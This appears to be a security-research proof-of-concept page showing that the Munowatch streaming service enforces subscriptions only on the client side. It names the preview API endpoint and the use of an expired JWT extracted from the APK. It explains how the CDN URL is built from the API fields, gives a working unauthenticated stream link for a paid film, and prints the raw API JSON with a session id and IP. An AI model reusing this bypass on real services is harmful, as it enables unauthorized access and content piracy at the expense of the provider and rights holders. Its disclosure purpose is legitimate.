SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required
Per-movie CDN bypass proof:
The API returned playingUrl for Hitman 2 with issubscriber: false, user_access: deny, and paid_for: true.
The video_name + serverhost from the API response are used to construct the CDN URL above — confirming that the CDN file for this specific movie is publicly accessible with no authentication.
Hitman 2
Vj Muba Action 01h 58m 9 months ago

After a successful first season, Webtoon "Agent Jun" is about to begin its second season. Out of ideas, Jun uses an anonymous email plot in his Webtoon, only to see real-life terrorist attacks resembling the story unfold.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/58799/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 71
video_name Hitman.2.(2025).mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN stream https://munotech3.b-cdn.net/gugwa/gugwa42/Hitman.2.%282025%29.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206). 

{
    "id": 58799,
    "video_title": "Hitman 2",
    "description": "After a successful first season, Webtoon \"Agent Jun\" is about to begin its second season. Out of ideas, Jun uses an anonymous email plot in his Webtoon, only to see real-life terrorist attacks resembling the story unfold.",
    "video_name": "Hitman.2.(2025).mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "71",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "01h 58m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/FixeCzUbd78835.jpg",
    "tfilehistory": "",
    "category_id": 1,
    "language_id": 1,
    "recording_date": "2025-08-29",
    "age_id": "18 +",
    "location": 1,
    "tab_category_id": 1,
    "series_code": "58799",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "1.09 GB",
    "create_date": "2025-08-29 11:08:49",
    "schedule_date": "29.08.2025 11:39:09 AM",
    "user_id": 1118356,
    "vj_id": 31,
    "video_status_id": 0,
    "network_id": "45.221.10.185",
    "user_access": "deny",
    "notification": "No",
    "secduration": "7111.000000",
    "issubscriber": false,
    "genre": "Action",
    "vjname": "Vj Muba",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "9 months ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}